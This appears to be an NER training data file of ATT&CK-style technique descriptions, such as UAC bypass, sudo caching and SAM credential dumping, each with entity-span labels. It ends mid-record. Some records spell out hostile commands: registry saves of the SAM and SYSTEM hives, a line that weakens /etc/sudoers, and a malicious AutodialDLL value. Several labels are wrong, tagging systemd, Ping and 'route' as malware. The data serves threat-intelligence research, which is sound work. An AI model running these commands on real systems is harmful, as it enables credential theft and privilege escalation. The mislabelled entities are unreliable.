+{"text": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.", "spans": {"SYSTEM: Office 365": [[380, 390]], "SYSTEM: Salesforce": [[401, 411]]}, "info": {"source": "apt_reports", "name": "DNS"}}
+{"text": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.", "spans": {"FILEPATH: /etc/systemd/system</code>": [[668, 694], [1587, 1613]], "FILEPATH: /usr/lib/systemd/system</code>": [[705, 735], [1624, 1654]], "SYSTEM: Ubuntu": [[316, 322]], "SYSTEM: RHEL": [[340, 344]], "SYSTEM: Debian": [[306, 312]], "SYSTEM: Fedora": [[348, 354]], "SYSTEM: Linux": [[59, 64], [272, 277]], "SYSTEM: CentOS": [[330, 336]], "MALWARE: systemd": [[77, 84], [673, 680], [714, 721], [1269, 1276], [1399, 1406], [1592, 1599], [1633, 1640], [1764, 1771]]}, "info": {"source": "apt_reports", "name": "Systemd Service"}}
+{"text": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.  \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time. If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day. In addition to destroying data for purposes of extortion and Financial Theft, adversaries may also perform this action on buckets storing cloud logs for Indicator Removal.", "spans": {"SYSTEM: AWS": [[404, 407]]}, "info": {"source": "apt_reports", "name": "Lifecycle-Triggered Deletion"}}
+{"text": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.", "spans": {"SYSTEM: macOS": [[514, 519]]}, "info": {"source": "apt_reports", "name": "Elevated Execution with Prompt"}}
+{"text": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", "spans": {}, "info": {"source": "apt_reports", "name": "Audio Capture"}}
+{"text": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters. \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.", "spans": {"SYSTEM: macOS": [[297, 302]], "SYSTEM: Windows": [[223, 230]], "SYSTEM: Linux": [[235, 240]]}, "info": {"source": "apt_reports", "name": "Create or Modify System Process"}}
+{"text": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.\n\nAccess to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.\n\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access. Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.", "spans": {"TOOL: RDP": [[1450, 1453]], "TOOL: Tor": [[1090, 1093], [1236, 1239], [1256, 1259], [1302, 1305]], "TOOL: VNC": [[426, 429]], "SYSTEM: Kubernetes": [[933, 943], [996, 1006]], "SYSTEM: Windows": [[396, 403]], "SYSTEM: Docker": [[921, 927]], "SYSTEM: Citrix": [[140, 146]]}, "info": {"source": "apt_reports", "name": "External Remote Services"}}
+{"text": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "spans": {"SYSTEM: BIOS": [[206, 210]]}, "info": {"source": "apt_reports", "name": "Component Firmware"}}
+{"text": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.", "spans": {"SYSTEM: macOS": [[277, 282]]}, "info": {"source": "apt_reports", "name": "LC_LOAD_DYLIB Addition"}}
+{"text": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.\n\nThere are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser.\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.\n\nAfter an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.", "spans": {"VULNERABILITY: phishing": [[1277, 1285]]}, "info": {"source": "apt_reports", "name": "Steal Web Session Cookie"}}
+{"text": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.", "spans": {"SYSTEM: Kubernetes": [[102, 112], [480, 490]], "SYSTEM: Linux": [[298, 303]]}, "info": {"source": "apt_reports", "name": "Container Orchestration Job"}}
+{"text": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.", "spans": {"DOMAIN: istgmxdejdnxuyla.ru": [[496, 515]], "DOMAIN: cityjulydish.net": [[689, 705]]}, "info": {"source": "apt_reports", "name": "Domain Generation Algorithms"}}
+{"text": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies. \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "spans": {}, "info": {"source": "apt_reports", "name": "Double File Extension"}}
+{"text": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.", "spans": {"SYSTEM: Windows": [[79, 86], [685, 692]]}, "info": {"source": "apt_reports", "name": "Bypass User Account Control"}}
+{"text": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.", "spans": {}, "info": {"source": "apt_reports", "name": "Timestomp"}}
+{"text": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability. SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.", "spans": {"SYSTEM: AWS": [[708, 711]], "ORGANIZATION: Amazon": [[721, 727]]}, "info": {"source": "apt_reports", "name": "SMS Pumping"}}
+{"text": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, <code>tracert</code>, and GET requests to websites, or performing initial speed testing to confirm bandwidth.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", "spans": {"MALWARE: Ping": [[176, 180]]}, "info": {"source": "apt_reports", "name": "Internet Connection Discovery"}}
+{"text": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>. In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.", "spans": {"FILEPATH: /var/db/sudo</code>": [[1053, 1072]], "FILEPATH: /etc/sudoers</code>,": [[1415, 1435]], "FILEPATH: /var/db/sudo</code>'s": [[2161, 2182]], "FILEPATH: /etc/sudoers</code>.": [[2629, 2649]], "SYSTEM: macOS": [[2753, 2758]], "SYSTEM: Linux": [[198, 203]]}, "info": {"source": "apt_reports", "name": "Sudo and Sudo Caching"}}
+{"text": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.", "spans": {}, "info": {"source": "apt_reports", "name": "Archive via Custom Method"}}
+{"text": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.", "spans": {}, "info": {"source": "apt_reports", "name": "Modify Cloud Compute Infrastructure"}}
+{"text": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.\n\nCompromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.", "spans": {}, "info": {"source": "apt_reports", "name": "Network Devices"}}
+{"text": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations  online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. \n\nMalvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.", "spans": {"MALWARE: route": [[1468, 1473]]}, "info": {"source": "apt_reports", "name": "Malvertising"}}
+{"text": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.", "spans": {}, "info": {"source": "apt_reports", "name": "Permission Groups Discovery"}}
+{"text": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.", "spans": {}, "info": {"source": "apt_reports", "name": "Email Collection"}}
+{"text": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.", "spans": {"TOOL: Mimikatz": [[511, 519]], "SYSTEM: Windows": [[155, 162]], "MALWARE: gsecdump": [[500, 508]]}, "info": {"source": "apt_reports", "name": "Security Account Manager"}}
+{"text": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "WHOIS"}}
+{"text": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "spans": {"SYSTEM: BIOS": [[65, 69], [340, 344]], "SYSTEM: UEFI": [[145, 149]]}, "info": {"source": "apt_reports", "name": "System Firmware"}}
+{"text": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.", "spans": {}, "info": {"source": "apt_reports", "name": "Search Victim-Owned Websites"}}
+{"text": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts .\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google. In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API . Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "spans": {"URL: https://cloudidentity.googleapis.com/v1/groups": [[763, 809]], "TOOL: PowerShell": [[395, 405]], "SYSTEM: Office 365": [[481, 491]], "SYSTEM: Google Cloud": [[531, 543]], "SYSTEM: AWS": [[874, 877], [1140, 1143]], "SYSTEM: Azure": [[504, 509], [724, 729]], "ORGANIZATION: Google": [[531, 537], [863, 869]]}, "info": {"source": "apt_reports", "name": "Cloud Groups"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. \n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters</code> contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:\n\n<code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code>\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.", "spans": {"TOOL: PowerShell": [[609, 619]], "SYSTEM: Windows": [[307, 314]], "VULNERABILITY: privilege escalation": [[1088, 1108]]}, "info": {"source": "apt_reports", "name": "Services Registry Permissions Weakness"}}
+{"text": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "DNS/Passive DNS"}}
+{"text": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.", "spans": {"VULNERABILITY: DoS": [[97, 100]], "VULNERABILITY: denial of service": [[78, 95]]}, "info": {"source": "apt_reports", "name": "Application Exhaustion Flood"}}
+{"text": "During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts . In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user .", "spans": {"FILEPATH: /etc/rc.common</code>,": [[53, 75]], "SYSTEM: macOS": [[25, 30], [320, 325]]}, "info": {"source": "apt_reports", "name": "Rc.common"}}
+{"text": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "spans": {"SYSTEM: GitHub": [[757, 763], [912, 918], [1124, 1130], [1168, 1174]], "VULNERABILITY: supply chain compromise": [[1096, 1119]]}, "info": {"source": "apt_reports", "name": "Compromise Software Dependencies and Development Tools"}}
+{"text": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see 